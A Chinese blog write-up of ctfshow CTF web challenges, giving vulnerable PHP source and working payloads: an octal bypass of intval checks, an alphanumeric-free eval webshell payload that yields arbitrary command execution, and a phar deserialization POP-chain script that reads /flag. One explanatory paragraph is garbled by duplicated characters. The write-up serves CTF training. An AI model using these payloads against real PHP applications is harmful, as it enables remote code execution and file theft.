ctfshow吃瓜杯之web(除魔女)详解

shellme

搜索ctfshow即可

image-20210825215841155

热身

<?php

include("flag.php");
highlight_file(__FILE__);
if(isset($_GET['num'])){
    $num = $_GET['num'];
    if($num==4476){ //参数等于4476不行
        die("no no no!");
    }
    if(preg_match("/[a-z]|\./i", $num)){ //匹配到小写字母和.不行
        die("no no no!!");
    }
    if(!strpos($num, "0")){ //必须没有0
        die("no no no!!!");
    }
    if(intval($num,0)===4476){ //num强等于4476
        echo $flag;
    }
}

首先,第一个条件是经过弱类型处理后的num不能等于4476,再加上第二道坎,多以字符串4476掺杂字符是过不了的,strpos函数漏洞也被ban了,但是strpos是有三个参数的,当第三参数默认时,则默认为从第0位开始找

<?php
$a = '00123';
if(strpos($a,'0')){
	echo "不是从第0位";
}else{
	echo "从第0位开始的";
}
?>

所以利用8进制配合+即可绕过

?num=+010574

shellme_Revenge

f3页面查找hint:

hint=%3Flooklook; ===>hint=?looklook;

在cookie中也存在hint

然后?looklook=1即可得到题目源码:

<?php
error_reporting(0);
if ($_GET['looklook']){
    highlight_file(__FILE__);
}else{
    setcookie("hint", "?looklook", time()+3600);
}
if (isset($_POST['ctf_show'])) {
    $ctfshow = $_POST['ctf_show'];
    if (is_string($ctfshow) || strlen($ctfshow) <= 107) {
        if (!preg_match("/[!@#%^&*:'\"|`a-zA-BD-Z~\\\\]|[4-9]/",$ctfshow)){
            eval($ctfshow);
        }else{
            echo("fucccc hacker!!");
        }
    }
} else {

    phpinfo();
}
?>

一道命令执行题目!!!

所有可见符号基本已经过滤了!!!

可用的字符有:大写C0到3[]$_();

一些不包含数字和字母的webshell利用的是方法三:

利用的是:

强制连接数组和字符串,数组将被转换成字符串

<?php
$a = ''.[];
echo $a;//Array
?>

这里可以利用:

  • PHP认为结果是无限大时,给出的结果是:INF(Infinite)
  • 如果一个数超出 Infinite(无限大,正无穷),那就是: NAN(not-a-number)
<?php
$a = var_dump(C/C);//float(NAN)
$b = var_dump(1/C);//float(INF)
echo $a.$b;
?>

字母/字母=0/0就会被认为是无法被测量也就是NaN

1/字母=1/0会被认为无限大INF

但是想要得到单个字符还需要连接一个字符:

<?php
$a = C/C.C;
echo $a[0];//N
?>

那我们需要的语句是:$_GET[0]($_GET[1])

例子名称效果
++$a前加$a 的值加一,然后返回 $a。
$a++后加返回 $a,然后将 $a 的值加一。
–$a前减$a 的值减一, 然后返回 $a。
$a–后减返回 $a,然后将 $a 的值减一。

自增开始:

<?php
$_=C;
$_++; //D
$C=++$_; //E
$_++; //F
$C_=++$_; //G
$_=(C/C.C)[0]; //N
$_++; //O
$_++; //P
$_++; //Q
$_++; //R
$_++; //S
$_=_.$C_.$C.++$_; //_GET
$$_[1]($$_[2]); //$_GET[1]($_GET[2])
?>

payload:ctf_show=$_=C;$_++;$C=++$_;$_++;$C_=++$_;$_=(C/C.C)[0];$_++;$_++;$_++;$_++;$_++;$_=_.$C_.$C.++$_;$$_[1]($$_[2]);

url编码:ctf_show=%24_%3DC%3B%24_%2B%2B%3B%24C%3D%2B%2B%24_%3B%24_%2B%2B%3B%24C_%3D%2B%2B%24_%3B%24_%3D(C%2FC.C)%5B0%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D_.%24C_.%24C.%2B%2B%24_%3B%24%24_%5B1%5D(%24%24_%5B2%5D)%3B

image-20210831200727472

ATTup

php反序列化从入门到放弃(入门篇)

抓包去上一级目录查找源码:

image-20210906182131450

class View {
    public $fn;
    public function __invoke(){//当脚本尝试将对象调用为函数时触发
        $text = base64_encode(file_get_contents($this->fn));
        echo "<script>alert('".$text."');self.location=document.referrer;</script>";
    }
}
class Fun{
    public $fun = ":)";
    public function __toString(){//当一个对象被当作一个字符串被调用,把类当作字符串使用时触发,返回值需要为字符串,例如echo打印出对象就会调用此方法
        $fuc = $this->fun;
        $fuc();
        return "<script>alert('Be a happy string~');self.location=document.referrer;</script>";
    }
    public function __destruct()//析构函数,和构造函数相反,在对象不再被使用时(将所有该对象的引用设为null)或者程序退出时自动调用
    {
        echo "<script>alert('Just a fun ".$this->fun."');self.location=document.referrer;</script>";
    }
}
$filename = $_POST["file"];
$stat = @stat($filename);

没有序列化的点,同时满足上传,所以是利用上传phar文件然后phar://协议来执行

利用phar://协议的条件:

1、能将phar文件上传
2、可利用函数 stat、fileatime、filectime、file_exists、file_get_contents、file_put_contents、file、filegroup、fopen、fileinode、filemtime、fileowner、fileperms、is_dir、is_executable、is_file、is_link、is_readable、is_writable、is_writeable、parse_ini_file、copy、unlink、readfile、md5_file、filesize
3、存在魔术方法
4: / phar 这些字符没有给过滤
<?php

class Fun{
    public $fun ;

}
class View {
  public $fn='/flag';
  
}

$d=new Fun();//实例化对象
$v = new View();//实例化对象
$d->fun = $v;//第一层嵌套,为了触发invoke而准备的
$new = new Fun();//再实例化一个对象
$new->fun = $d;//为触发tostring而准备的

$phar = new Phar("test.phar"); //文件名,后缀名必须为phar
$phar->startBuffering();
$phar->setStub('GIF89a'.' __HALT_COMPILER();'); //设置stub
$phar->setMetadata($new); //将自定义的meta-data存入manifest
$phar->addFromString("test.txt", "test"); //添加要压缩的文件
$phar->stopBuffering();    //签名自动计算

可以倒着看pop链首先让$new->fun = $d;而此时的 d 是 一 个 对 象 , 而 d是一个对象,而 dnew->fun会在析构函数中被当做字符串拼接,也就是 d 一 个 对 象 被 作 为 字 符 串 输 出 , 所 以 就 会 调 用 t o s t r i n g , 此 时 ‘ d一个对象被作为字符串输出,所以就会调用tostring,此时` dtostringd->fun = v ; ‘ f u n c = v;`func= v;func=v,而$v也是一个对象,所以把对象当成一个函数调用就会触发类view中的invoke方法,又因为fn可控所以就会读出我们想要的文件

image-20210906185033106

然后解码就可以了

  • 9
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 2
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

Yn8rt

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值